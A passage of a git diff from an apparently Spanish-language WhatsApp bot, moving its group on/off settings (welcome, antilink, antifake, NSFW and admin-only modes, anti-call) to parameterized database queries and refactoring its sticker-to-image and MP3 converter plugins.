+menu += `🔞 NSFW ${getStatus('modohorny')}\n• Contenido +18 en stickers/gifs\n• ${usedPrefix + command} modohorny\n\n`
+menu += `🔒 MODO SOLO ADMIN ${getStatus('modoadmin')}\n• Solo admins pueden usar comandos\n• ${usedPrefix + command} modoadmin\n\n`;
+
+menu += `\n*『 FUNCIONES PARA OWNER 』*\n\n`;
+menu += `🚫 ANTIPRIVADO ${isSubbot ? (getSubbotConfig(botId).antiPrivate ? '✅' : '❌') : '⚠️'}
+• Bloquear uso en privado
+• ${usedPrefix + command} antiprivate\n\n`;
+menu += `📵 ANTILLAMADAS ${isSubbot ? (getSubbotConfig(botId).anticall ? '✅' : '❌') : '⚠️'}
+• Bloquear llamadas
+• ${usedPrefix + command} anticall`;
+
switch (type) {
case 'welcome': case 'bienvenida':
-if (!m.isGroup) {
-if (!isOwner) {
-global.dfail('group', m, conn)
-throw false
-}
-} else if (!isAdmin) {
-global.dfail('admin', m, conn)
-throw false
-}
-chat.welcome = isEnable
+if (!m.isGroup) throw '⚠️ Este comando solo se puede usar dentro de un grupo.'
+if (!isAdmin) throw "⚠️ Solo los admins puede usar este comando.";
+await db.query(`INSERT INTO group_settings (group_id) VALUES ($1) ON CONFLICT DO NOTHING`, [chatId])
+await db.query(`UPDATE group_settings SET welcome = $1 WHERE group_id = $2`, [isEnable, chatId])
break
-
+
case 'detect': case 'avisos':
-if (!m.isGroup) {
-if (!isOwner) {
-global.dfail('group', m, conn)
-throw false
-}
-} else if (!isAdmin) {
-global.dfail('admin', m, conn)
-throw false
-}
-chat.detect = isEnable
+if (!m.isGroup) throw '⚠️ Este comando solo se puede usar dentro de un grupo.'
+if (!isAdmin) throw "⚠️ Solo los admins puede usar este comando.";
+await db.query(`INSERT INTO group_settings (group_id) VALUES ($1) ON CONFLICT DO NOTHING`, [chatId])
+await db.query(`UPDATE group_settings SET detect = $1 WHERE group_id = $2`, [isEnable, chatId])
break
-
-case 'antidelete': case 'antieliminar': case 'delete':
-if (m.isGroup) {
-if (!(isAdmin || isOwner)) {
-global.dfail('admin', m, conn)
-throw false
-}}
-chat.delete = isEnable
-break
-
-case 'public': case 'publico':
-isAll = true
-if (!isROwner) {
-global.dfail('rowner', m, conn)
-throw false
-}
-global.opts['self'] = !isEnable
-break
-
+
case 'antilink': case 'antienlace':
-if (m.isGroup) {
-if (!(isAdmin || isOwner)) {
-global.dfail('admin', m, conn)
-throw false
-}}
-chat.antiLink = isEnable
-break
-
-case 'antilink2': case 'antienlace2':
-if (m.isGroup) {
-if (!(isAdmin || isOwner)) {
-global.dfail('admin', m, conn)
-throw false
-}}
-chat.antiLink2 = isEnable
-break
-
-case 'antitiktok': case 'antitk': case 'antitik':
-if (m.isGroup) {
-if (!(isAdmin || isOwner)) {
-global.dfail('admin', m, conn)
-throw false
-}}
-chat.antiTiktok = isEnable
-break
-
-case 'antiyoutube': case 'antiyt':
-if (m.isGroup) {
-if (!(isAdmin || isOwner)) {
-global.dfail('admin', m, conn)
-throw false
-}}
-chat.antiYoutube = isEnable
-break
-
-case 'antitelegram': case 'antitl': case 'antitele': case 'antitg': case 'antitel':
-if (m.isGroup) {
-if (!(isAdmin || isOwner)) {
-global.dfail('admin', m, conn)
-throw false
-}}
-chat.antiTelegram = isEnable
-break
-
-case 'antifacebook': case 'antifb': case 'antifbook':
-if (m.isGroup) {
-if (!(isAdmin || isOwner)) {
-global.dfail('admin', m, conn)
-throw false
-}}
-chat.antiFacebook = isEnable
-break
-
-case 'antiinstagram': case 'antinstagram': case 'antiig': case 'antig': case 'antiinsta': case 'antinsta':
-if (m.isGroup) {
-if (!(isAdmin || isOwner)) {
-global.dfail('admin', m, conn)
-throw false
-}}
-chat.antiInstagram = isEnable
-break
-
-case 'antitwitter': case 'antitw': case 'antitwit': case 'antitwter': case 'antitwiter': case 'antiTwr':
-if (m.isGroup) {
-if (!(isAdmin || isOwner)) {
-global.dfail('admin', m, conn)
-throw false
-}}
-chat.antiTwitter = isEnable
-break
-
-case 'modohorny': case 'modocaliente':
-if (m.isGroup) {
-if (!(isAdmin || isOwner)) {
-global.dfail('admin', m, conn)
-throw false
-}}
-chat.modohorny = isEnable
-break
-
-case 'stickers':
-if (m.isGroup) {
-if (!(isAdmin || isOwner)) {
-global.dfail('admin', m, conn)
-throw false
-}}
-chat.stickers = isEnable
-break
-
-case 'temporal':
-isAll = true
-if (!isOwner) {
-global.dfail('owner', m, conn)
-throw false
-}
-bot.temporal = isEnable
-break
-
-case 'autolevelup': case 'autonivel': case 'nivelautomatico':
-if (m.isGroup) {
-if (!(isAdmin || isOwner)) {
-global.dfail('admin', m, conn)
-throw false
-}}
-chat.autolevelup = isEnable
-break
-
-case 'autosticker':
-if (m.isGroup) {
-if (!(isAdmin || isOwner)) {
-global.dfail('admin', m, conn)
-throw false
-}}
-chat.autosticker = isEnable
-break
-
-case 'reaction': case 'reaccion': case 'emojis': case 'antiemojis': case 'reacciones': case 'reaciones':
-if (m.isGroup) {
-if (!(isAdmin || isOwner)) {
-global.dfail('admin', m, conn)
-throw false
-}}
-chat.reaction = isEnable
-break
-
-case 'antitoxic': case 'antitoxicos': case 'antimalos':
-if (m.isGroup) {
-if (!(isAdmin || isOwner)) {
-global.dfail('admin', m, conn)
-throw false
-}}
-chat.antitoxic = isEnable
-break
-
+if (!m.isGroup) throw '⚠️ Este comando solo se puede usar dentro de un grupo.'
+if (!isAdmin) throw "⚠️ Solo los admins puede usar este comando.";
+await db.query(`INSERT INTO group_settings (group_id) VALUES ($1) ON CONFLICT DO NOTHING`, [chatId])
+await db.query(`UPDATE group_settings SET antilink = $1 WHERE group_id = $2`, [isEnable, chatId])
+break
+
+case 'antilink2':
+if (!m.isGroup) throw '⚠️ Este comando solo se puede usar dentro de un grupo.'
+if (!isAdmin) throw "⚠️ Solo los admins puede usar este comando.";
+await db.query(`INSERT INTO group_settings (group_id) VALUES ($1) ON CONFLICT DO NOTHING`, [chatId])
+await db.query(`UPDATE group_settings SET antilink2 = $1 WHERE group_id = $2`, [isEnable, chatId])
+break
+
+case 'antiporn': case 'antiporno': case 'antinwfs':
+if (!m.isGroup) throw '⚠️ Este comando solo se puede usar dentro de un grupo.'
+if (!isAdmin) throw "⚠️ Solo los admins puede usar este comando.";
+await db.query(`INSERT INTO group_settings (group_id) VALUES ($1) ON CONFLICT DO NOTHING`, [chatId])
+await db.query(`UPDATE group_settings SET antiporn = $1 WHERE group_id = $2`, [isEnable, chatId])
+break
+
case 'audios':
-if (m.isGroup) {
-if (!(isAdmin || isOwner)) {
-global.dfail('admin', m, conn)
-throw false
-}}
-chat.audios = isEnable
-break
-
-case 'antiver': case 'modover': case 'modoobservar': case 'modobservar': case 'antiviewonce':
-if (m.isGroup) {
-if (!(isAdmin || isOwner)) {
-global.dfail('admin', m, conn)
-throw false
-}}
-chat.antiver = isEnable
-break
-
-case 'antiinternacional': case 'antinternacional': case 'antinternational': case 'antifake': case 'antifalsos': case 'antivirtuales': case 'antiextranjeros':
-if (m.isGroup) {
-if (!(isAdmin || isOwner)) {
-global.dfail('admin', m, conn)
-throw false
-}}
-chat.antifake = isEnable
-break
-
-case 'jadibotmd': case 'modojadibot': case 'serbotmd': case 'modoserbot':
-isAll = true
-if (!isROwner) {
-global.dfail('rowner', m, conn)
-throw false
-}
-bot.jadibotmd = isEnable
-break
-
-case 'restrict': case 'restringir':
-isAll = true
-if (!isOwner) {
-global.dfail('owner', m, conn)
-throw false
-}
-bot.restrict = isEnable
-break
-
-case 'nyimak':
-isAll = true
-if (!isROwner) {
-global.dfail('rowner', m, conn)
-throw false
-}
-global.opts['nyimak'] = isEnable
-break
-
-case 'autoread': case 'autovisto':
-isAll = true
-if (!isROwner) {
-global.dfail('rowner', m, conn)
-throw false
-}
-bot.autoread2 = isEnable
-global.opts['autoread'] = isEnable
-break
-
-case 'anticall': case 'antillamar':
-isAll = true
-if (!isROwner) {
-global.dfail('rowner', m, conn)
-throw false
-}
-bot.antiCall = isEnable
-break
-
-case 'antispam':
-isAll = true
-if (!isOwner) {
-global.dfail('owner', m, conn)
-throw false
-}
-bot.antiSpam = isEnable
-break
-
-case 'modoadmin': case 'soloadmin':
-if (m.isGroup) {
-if (!(isAdmin || isOwner)) {
-global.dfail('admin', m, conn)
-throw false
-}}
-chat.modoadmin = isEnable
-break
-
-case 'pconly': case 'privateonly': case 'soloprivados':
-isAll = true
-if (!isROwner) {
-global.dfail('rowner', m, conn)
-throw false
-}
-global.opts['pconly'] = isEnable
-break
-
-case 'gconly': case 'grouponly': case 'sologrupos':
-isAll = true
-if (!isROwner) {
-global.dfail('rowner', m, conn)
-throw false
-}
-global.opts['gconly'] = isEnable
-break
-
-case 'antiprivado':
-case 'privado':
-isAll = true
-if (!isROwner) {
-global.dfail('rowner', m, conn)
-throw false
-}
-bot.antiPrivate = isEnable
-break
-
-case 'antitrabas':
-case 'antitraba':
-if (m.isGroup) {
-if (!(isAdmin || isOwner)) {
-global.dfail('admin', m, conn)
-throw false
-}}
-chat.antiTraba = isEnable
-break
-
-case 'simi':
-if (m.isGroup) {
-if (!(isAdmin || isOwner)) {
-global.dfail('admin', m, conn)
-throw false
-}}
-chat.simi = isEnable
-break
-
-case 'swonly': case 'statusonly':
-isAll = true
-if (!isROwner) {
-global.dfail('rowner', m, conn)
-throw false
-}
-global.opts['swonly'] = isEnable
-break
+if (!m.isGroup) throw '⚠️ Este comando solo se puede usar dentro de un grupo.'
+if (!isAdmin) throw "⚠️ Solo los admins puede usar este comando.";
+await db.query(`INSERT INTO group_settings (group_id) VALUES ($1) ON CONFLICT DO NOTHING`, [chatId])
+await db.query(`UPDATE group_settings SET audios = $1 WHERE group_id = $2`, [isEnable, chatId])
+break
+
+case 'antifake':
+if (!m.isGroup) throw '⚠️ Este comando solo se puede usar dentro de un grupo.'
+if (!isAdmin) throw "⚠️ Solo los admins puede usar este comando.";
+await db.query(`INSERT INTO group_settings (group_id) VALUES ($1) ON CONFLICT DO NOTHING`, [chatId])
+await db.query(`UPDATE group_settings SET antifake = $1 WHERE group_id = $2`, [isEnable, chatId])
+break
+
+case 'nsfw': case "modohorny": case "modocaliente":
+if (!m.isGroup) throw '⚠️ Este comando solo se puede usar dentro de un grupo.'
+if (!isAdmin) throw "⚠️ Solo los admins puede usar este comando.";
+ await db.query(`INSERT INTO group_settings (group_id) VALUES ($1) ON CONFLICT DO NOTHING`, [chatId])
+ await db.query(`UPDATE group_settings SET modohorny = $1 WHERE group_id = $2`, [isEnable, chatId])
+ break
+
+case 'modoadmin': case 'onlyadmin':
+if (!m.isGroup) throw '⚠️ Este comando solo se puede usar dentro de un grupo.'
+if (!isAdmin) throw "⚠️ Solo los admins puede usar este comando.";
+await db.query(`INSERT INTO group_settings (group_id) VALUES ($1) ON CONFLICT DO NOTHING`, [chatId])
+await db.query(`UPDATE group_settings SET modoadmin = $1 WHERE group_id = $2`, [isEnable, chatId])
+break
+
+case 'antiprivate': case 'antiprivado':
+if (!isSubbot && !isOwner) return m.reply('❌ Solo el owner o subbots pueden cambiar esto.');
+await db.query(`INSERT INTO subbots (id, anti_private)
+ VALUES ($1, $2)
+ ON CONFLICT (id) DO UPDATE SET anti_private = $2`, [cleanId, isEnable]);
+isAll = true;
+break;
+
+case 'anticall': case 'antillamada':
+if (!isSubbot && !isOwner) return m.reply('❌ Solo el owner o subbots pueden cambiar esto.');
+await db.query(`INSERT INTO subbots (id, anti_call)
+ VALUES ($1, $2)
+ ON CONFLICT (id) DO UPDATE SET anti_call = $2`, [cleanId, isEnable]);
+isAll = true;
+break;
default:
-if (!/[01]/.test(command)) return await conn.reply(m.chat, `*OPCIONES PARA ACTIVA Y DESACTIVAR*
-
-┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-
-✦ ${lenguajeGB.smsParaAdmins()} ${m.isGroup ? chat.welcome ? '✅' : '❌' : lenguajeGB.smsNoGg()}
-✦ ${usedPrefix + command} welcome
-✦ ${lenguajeGB.smsWel2()}
-
-┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-
-✦ ${lenguajeGB.smsParaAdmins()} ${m.isGroup ? chat.detect ? '✅' : '❌' : lenguajeGB.smsNoGg()}
-✦ ${usedPrefix + command} detec
-✦ ${lenguajeGB.smsDete2()}
-
-┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-
-✦ ${lenguajeGB.smsParaAdYOw()} ${m.isGroup ? chat.autolevelup ? '✅' : '❌' : lenguajeGB.smsNoGg()}
-✦ ${usedPrefix + command} autolevelup
-✦ ${lenguajeGB.smsANivel2()}
-
-┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-
-✦ ${lenguajeGB.smsParaOw()} ${bot.restrict ? '✅' : '❌'}
-✦ ${usedPrefix + command} restrict
-✦ ${lenguajeGB.smsRestri2()}
-
-┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-
-✦ ${lenguajeGB.smsParaOw()} ${bot.antiCall ? '✅' : '❌'}
-✦ ${usedPrefix + command} antiCall
-✦ ${lenguajeGB.smsLlamar2()}
-
-┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-
-✦ ${lenguajeGB.smsParaOw()} ${bot.antiSpam ? '✅' : '❌'}
-✦ ${usedPrefix + command} antiSpam
-✦ ${lenguajeGB.smsAntiSp2()}
-
-┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-
-✦ ${lenguajeGB.smsParaOw()} ${global.opts['self'] ? '❌' : '✅'}
-✦ ${usedPrefix + command} self
-✦ ${lenguajeGB.smsModP2()}
-
-┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-
-✦ ${lenguajeGB.smsParaAdmins()} ${m.isGroup ? chat.modoadmin ? '✅' : '❌' : lenguajeGB.smsNoGg()}
-✦ ${usedPrefix + command} modoadmin
-✦ ${lenguajeGB.smsModAd2()}
-
-┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-
-✦ ${lenguajeGB.smsParaOw()} ${global.opts['autoread'] ? '✅' : '❌'}
-✦ ${usedPrefix + command} autoread
-✦ ${lenguajeGB.smsLect1()}
-
-┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-
-✦ ${lenguajeGB.smsParaOw()} ${bot.temporal ? '✅' : '❌'}
-✦ ${usedPrefix + command} temporal
-✦ ${lenguajeGB.smsTempo2()}
-
-┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-
-✦ ${lenguajeGB.smsParaAdmins()} ${m.isGroup ? chat.stickers ? '✅' : '❌' : lenguajeGB.smsNoGg()}
-✦ ${usedPrefix + command} stickers
-✦ ${lenguajeGB.smsStik1()}
-
-┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-
-✦ ${lenguajeGB.smsParaAdmins()} ${m.isGroup ? chat.autosticker ? '✅' : '❌' : lenguajeGB.smsNoGg()}
-✦ ${usedPrefix + command} autosticker
-✦ ${lenguajeGB.smsStickA2()}
-
-┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-
-✦ ${lenguajeGB.smsParaAdYOw()} ${m.isGroup ? chat.reaction ? '✅' : '❌' : lenguajeGB.smsNoGg()}
-✦ ${usedPrefix + command} reaction
-✦ ${lenguajeGB.smsReacc2()}
-
-┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-
-✦ ${lenguajeGB.smsParaAdYOw()} ${m.isGroup ? chat.audios ? '✅' : '❌' : lenguajeGB.smsNoGg()}
-✦ ${usedPrefix + command} audios
-✦ ${lenguajeGB.smsAudi2()}
-
-┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-
-✦ ${lenguajeGB.smsParaAdmins()} ${m.isGroup ? chat.antitoxic ? '✅' : '❌' : lenguajeGB.smsNoGg()}
-✦ ${usedPrefix + command} antitoxic
-✦ ${lenguajeGB.smsAntitoc2()}
-
-┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-
-✦ ${lenguajeGB.smsParaAdYOw()} ${m.isGroup ? chat.antiver ? '✅' : '❌' : lenguajeGB.smsNoGg()}
-✦ ${usedPrefix + command} antiver
-✦ ${lenguajeGB.smsModOb2()}
-
-┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-
-✦ ${lenguajeGB.smsParaAdYOw()} ${m.isGroup ? chat.delete ? '✅' : '❌' : lenguajeGB.smsNoGg()}
-✦ ${usedPrefix + command} delete
-✦ ${lenguajeGB.smsAntiEli2()}
-
-┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-
-✦ ${lenguajeGB.smsParaAdmins()} ${m.isGroup ? chat.antifake ? '✅' : '❌' : lenguajeGB.smsNoGg()}
-✦ ${usedPrefix + command} antifake
-✦ ${lenguajeGB.smsAntiInt2()}
-
-┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-
-✦ ${lenguajeGB.smsParaAdmins()} ${m.isGroup ? chat.antiLink ? '✅' : '❌' : lenguajeGB.smsNoGg()}
-✦ ${usedPrefix + command} antiLink
-✦ ${lenguajeGB.smsAntiE2()}
-
-┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-
-✦ ${lenguajeGB.smsParaAdmins()} ${m.isGroup ? chat.antiLink2 ? '✅' : '❌' : lenguajeGB.smsNoGg()}
-✦ ${usedPrefix + command} antiLink2
-✦ ${lenguajeGB.smsAntiEE2()}
-
-┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-
-✦ ${lenguajeGB.smsParaAdmins()} ${m.isGroup ? chat.antiTiktok ? '✅' : '❌' : lenguajeGB.smsNoGg()}
-✦ ${usedPrefix + command} antiTiktok
-✦ ${lenguajeGB.smsAntiTT2()}
-
-┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-
-✦ ${lenguajeGB.smsParaAdmins()} ${m.isGroup ? chat.antiYoutube ? '✅' : '❌' : lenguajeGB.smsNoGg()}
-✦ ${usedPrefix + command} antiYoutube
-✦ ${lenguajeGB.smsAntiYT2()}
-
-┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-
-✦ ${lenguajeGB.smsParaAdmins()} ${m.isGroup ? chat.antiTelegram ? '✅' : '❌' : lenguajeGB.smsNoGg()}
-✦ ${usedPrefix + command} antiTelegram
-✦ ${lenguajeGB.smsAntiTEL2()}
-
-┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-
-✦ ${lenguajeGB.smsParaAdmins()} ${m.isGroup ? chat.antiFacebook ? '✅' : '❌' : lenguajeGB.smsNoGg()}
-✦ ${usedPrefix + command} antiFacebook
-✦ ${lenguajeGB.smsAntiFB2()}
-
-┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-
-✦ ${lenguajeGB.smsParaAdmins()} ${m.isGroup ? chat.antiInstagram ? '✅' : '❌' : lenguajeGB.smsNoGg()}
-✦ ${usedPrefix + command} antiInstagram
-✦ ${lenguajeGB.smsAntiIG2()}
-
-┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-
-✦ ${lenguajeGB.smsParaAdmins()} ${m.isGroup ? chat.antiTwitter ? '✅' : '❌' : lenguajeGB.smsNoGg()}
-✦ ${usedPrefix + command} antiTwitter
-✦ ${lenguajeGB.smsAntiTW2()}
-
-┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-
-✦ ${lenguajeGB.smsParaOw()} ${global.opts['pconly'] ? '✅' : '❌'}
-✦ ${usedPrefix + command} pconly
-✦ ${lenguajeGB.smsSOLOP2()}
-
-┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-
-✦ ${lenguajeGB.smsParaOw()} ${global.opts['gconly'] ? '✅' : '❌'}
-✦ ${usedPrefix + command} gconly
-✦ ${lenguajeGB.smsSOLOG2()}
-
-┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-
-${wm}`, fkontak, { mentions: [aa,] })
-//conn.sendMessage(m.chat, { text: texto }, { quoted: fkontak })
-//conn.sendMessage(m.chat, texto, {quoted: fkontak})
-throw false
+return m.reply(menu.trim());
}
-await conn.reply(m.chat, `╭┄〔 *${wm}* 〕┄⊱
-┆🗂️ ᴏᴘᴄɪᴏɴ: ${type}
-┆——————«•»——————
-┆🎚️ ᴇsᴛᴀᴅᴏ: ${isEnable ? 'ᴀᴄᴛɪᴠᴀᴅᴏ' : 'ᴅᴇsᴀᴄᴛɪᴠᴀᴅᴏ'}
-┆——————«•»——————
-┆📣 ᴘᴀʀᴀ: ${isAll ? 'ᴇsᴛᴇ ʙᴏᴛ' : isUser ? '' : 'ᴇsᴛᴇ ᴄʜᴀᴛ'}
-╰━━━⊰ 𓃠 ${vs} ⊱━━━━დ`, fkontak, m)}
-
-handler.help = ['en', 'dis'].map(v => v + 'able ')
-handler.tags = ['group', 'owner']
+await m.reply(`🗂️ La opción *${type}* para ${isAll ? 'todo el bot' : isUser ? 'este usuario' : 'este chat'} fue *${isEnable ? 'activada' : 'desactivada'}* correctamente.`)
+}
+handler.help = ['enable ', 'disable ']
+handler.tags = ['nable']
handler.command = /^((en|dis)able|(tru|fals)e|(turn)?o(n|ff)|[01])$/i
+handler.register = true
+//handler.group = true
+//handler.admin = true
export default handler
-
-const more = String.fromCharCode(8206)
-const readMore = more.repeat(4001)
diff --git a/plugins/convertidor-toimg.js b/plugins/convertidor-toimg.js
index 414aaf99f..81c93c84f 100644
--- a/plugins/convertidor-toimg.js
+++ b/plugins/convertidor-toimg.js
@@ -1,15 +1,18 @@
-import { webp2png } from '../lib/webp2mp4.js'
-let handler = async (m, { conn, usedPrefix, command }) => {
-const notStickerMessage = `𝑹𝒆𝒔𝒑𝒐𝒏𝒅𝒂 𝒂 𝒖𝒏 𝒗𝒊́𝒅𝒆𝒐 𝒐 𝒏𝒐𝒕𝒂 𝒅𝒆 𝒗𝒐𝒛 𝒑𝒂𝒓𝒂 𝒄𝒐𝒏𝒗𝒆𝒓𝒕𝒊𝒓 𝒖𝒏 𝒂𝒖𝒅𝒊𝒐 𝑴𝑷3 *${usedPrefix + command}*`
-if (!m.quoted) throw notStickerMessage
-const q = m.quoted || m
-let mime = q.mediaType || ''
-if (!/sticker/.test(mime)) throw notStickerMessage
-let media = await q.download()
-let out = await webp2png(media).catch(_ => null) || Buffer.alloc(0)
-await conn.sendFile(m.chat, out, 'error.png', null, m)
-}
-handler.help = ['toimg (reply)']
-handler.tags = ['sticker']
-handler.command = ['toimg', 'img', 'jpg']
-export default handler
+import { webp2png } from '../lib/webp2mp4.js';
+const handler = async (m, { conn, usedPrefix, command }) => {
+const notStickerMessage = `*⚠️ 𝐑𝐞𝐬𝐩𝐨𝐧𝐝𝐞 𝐚 𝐮𝐧 𝐬𝐭𝐢𝐜𝐤𝐞𝐫 𝐪𝐮𝐞 𝐝𝐞𝐬𝐞𝐞 𝐜𝐨𝐧𝐯𝐞𝐫𝐭𝐢𝐫 𝐞𝐧 𝐢𝐦𝐚𝐠𝐞𝐧 𝐜𝐨𝐧 𝐞𝐥 𝐬𝐢𝐠𝐮𝐢𝐞𝐧𝐭𝐞 𝐜𝐨𝐦𝐚𝐧𝐝𝐨:* ${usedPrefix + command}`;
+if (!m.quoted) throw notStickerMessage;
+const q = m.quoted;
+const mime = q?.mimetype || '';
+if (!mime.includes('webp')) throw notStickerMessage;
+m.reply(`Euu flaco 🥴\n\n> *Convirtiendo tu Sticker a Imagen 🔄*`);
+const media = await q.download();
+const out = await webp2png(media).catch(() => null) || Buffer.alloc(0);
+await conn.sendFile(m.chat, out, 'sticker.png', null, m);
+};
+handler.help = ['toimg (reply)'];
+handler.tags = ['convertidor'];
+handler.command = ['toimg', 'jpg', 'img'];
+handler.register = true;
+
+export default handler;
diff --git a/plugins/convertidor-tomp3.js b/plugins/convertidor-tomp3.js
index ef4907a97..41a94e0a8 100644
--- a/plugins/convertidor-tomp3.js
+++ b/plugins/convertidor-tomp3.js
@@ -1,17 +1,17 @@
-import { toAudio } from '../lib/converter.js'
-let handler = async (m, { conn, usedPrefix, command }) => {
-let q = m.quoted ? m.quoted : m
-let mime = (m.quoted ? m.quoted : m.msg).mimetype || ''
-if (!/video|audio/.test(mime)) throw `𝑹𝒆𝒔𝒑𝒐𝒏𝒅𝒂 𝒂 𝒖𝒏 𝒗𝒊́𝒅𝒆𝒐 𝒐 𝒏𝒐𝒕𝒂 𝒅𝒆 𝒗𝒐𝒛 𝒑𝒂𝒓𝒂 𝒄𝒐𝒏𝒗𝒆𝒓𝒕𝒊𝒓 𝒖𝒏 𝒂𝒖𝒅𝒊𝒐 𝑴𝑷3`
-let media = await q.download?.()
-if (!media && !/video/.test(mime)) throw `𝑵𝒐 𝒑𝒖𝒅𝒆 𝒅𝒆𝒔𝒄𝒂𝒓𝒈𝒂𝒓 𝒆𝒍 𝒗𝒊́𝒅𝒆𝒐, 𝒊𝒏𝒕𝒆𝒏𝒕𝒆́ 𝒏𝒖𝒆𝒗𝒂𝒎𝒆𝒏𝒕𝒆`
-if (!media && !/audio/.test(mime)) throw `𝑵𝒐 𝒔𝒆́ 𝒍𝒐𝒈𝒓𝒐 𝒅𝒆𝒔𝒄𝒂𝒓𝒈𝒂𝒓 𝒍𝒂 𝒏𝒐𝒕𝒂 𝒅𝒆 𝒗𝒐𝒛, 𝒊𝒏𝒕𝒆𝒏𝒕𝒆́ 𝒏𝒖𝒆𝒗𝒂𝒎𝒆𝒏𝒕𝒆`
-let audio = await toAudio(media, 'mp4')
-if (!audio.data && !/audio/.test(mime)) throw `𝑵𝒐 𝒔𝒆́ 𝒍𝒐𝒈𝒓𝒐 𝒄𝒐𝒏𝒗𝒆𝒓𝒕𝒊𝒓 𝒔𝒖 𝒏𝒐𝒕𝒂 𝒅𝒆 𝒗𝒐𝒛 𝒂 𝒂𝒖𝒅𝒊𝒐 𝑴𝑷3 𝑰𝒏𝒕𝒆𝒏𝒕𝒆́ 𝒅𝒆 𝒏𝒖𝒆𝒗𝒐 𝒎𝒂́𝒔 𝒕𝒂𝒓𝒅𝒆.`
-if (!audio.data && !/video/.test(mime)) throw `𝑵𝒐 𝒔𝒆́ 𝒍𝒐𝒈𝒓𝒐 𝒄𝒐𝒏𝒗𝒆𝒓𝒕𝒊𝒓 𝒔𝒖 𝒏𝒐𝒕𝒂 𝒅𝒆 𝒗𝒐𝒛 𝒂 𝒂𝒖𝒅𝒊𝒐 𝑴𝑷3 𝑰𝒏𝒕𝒆𝒏𝒕𝒆́ 𝒅𝒆 𝒏𝒖𝒆𝒗𝒐 𝒎𝒂́𝒔 𝒕𝒂𝒓𝒅𝒆.`
-conn.sendFile(m.chat, audio.data, 'error.mp3', '', m, null, { mimetype: 'audio/mp4' })
-}
-handler.help = ['tomp3 (reply)']
-handler.tags = ['audio']
-handler.command = ['tomp3', 'toaudio', 'mp3']
-export default handler
+import {toAudio} from '../lib/converter.js';
+const handler = async (m, {conn, usedPrefix, command}) => {
+const q = m.quoted ? m.quoted : m;
+const mime = (q || q.msg).mimetype || q.mediaType || '';
+if (!/video|audio/.test(mime)) throw `*⚠️ ¿𝐘 𝐞𝐥 𝐯𝐢𝐝𝐞𝐨? 𝐑𝐞𝐬𝐩𝐨𝐧𝐝𝐞 𝐚 𝐮𝐧 𝐯𝐢𝐝𝐞𝐨 𝐨 𝐧𝐨𝐭𝐚 𝐝𝐞 𝐯𝐨𝐳 𝐩𝐚𝐫𝐚 𝐜𝐨𝐧𝐯𝐞𝐫𝐭𝐢𝐫 𝐚 𝐌𝐏𝟑*`;
+const media = await q.download();
+if (!media) throw '*⚠️ 𝐎𝐂𝐔𝐑𝐑𝐈𝐎́ 𝐔𝐍 𝐄𝐑𝐑𝐎𝐑 𝐍𝐎𝐒𝐄 𝐐𝐔𝐄 𝐏𝐀𝐒𝐎? 𝐓𝐔 𝐒𝐀𝐁𝐄𝐒?* :)';
+m.reply(`Calmaoooo estoy procesando 😎\n\n> *Convirtiendo de MP4 a MP3 🔄*`)
+const audio = await toAudio(media, 'mp4');
+if (!audio.data) throw '*⚠️ 𝐓𝐑𝐄𝐌𝐄𝐍𝐃𝐎 ¿𝐍𝐨 𝐬𝐚𝐛𝐞𝐬 𝐮𝐬𝐚𝐫 𝐞𝐥 𝐜𝐨𝐦𝐚𝐧𝐝𝐨? 𝐫𝐞𝐬𝐩𝐨𝐧𝐝𝐞𝐫 𝐚 𝐮𝐧 𝐯𝐢𝐝𝐞𝐨 𝐨 𝐧𝐨𝐭𝐚 𝐝𝐞 𝐯𝐨𝐳 𝐛𝐨𝐛𝐨*';
+conn.sendMessage(m.chat, { audio: audio.data, mimetype: 'audio/mpeg', ptt: true, contextInfo: {} }, { quoted: m });
+};
+handler.help = ['tomp3'];
+handler.tags = ['convertidor']
+handler.command = /^to(mp3|audio)$/i;
+handler.register = true
+export default handler;
diff --git a/plugins/convertidor-toptt.js b/plugins/convertidor-toptt.js
deleted file mode 100644
index 68b7026b6..000000000
--- a/plugins/convertidor-toptt.js
+++ /dev/null
@@ -1,17 +0,0 @@
-import { toPTT } from '../lib/converter.js'
-let handler = async (m, { conn, usedPrefix, command }) => {
-let q = m.quoted ? m.quoted : m
-let mime = (m.quoted ? m.quoted : m.msg).mimetype || ''
-if (!/video|audio/.test(mime)) throw `${mg}𝑹𝒆𝒔𝒑𝒐𝒏𝒅𝒆 𝒂 𝒖𝒏 𝒗𝒊́𝒅𝒆𝒐 𝒐 𝒂𝒖𝒅𝒊𝒐 𝒑𝒂𝒓𝒂 𝒄𝒐𝒏𝒗𝒆𝒓𝒕𝒊𝒓 𝒂 𝒏𝒐𝒕𝒂 𝒅𝒆 𝒗𝒐𝒛`
-let media = await q.download?.()
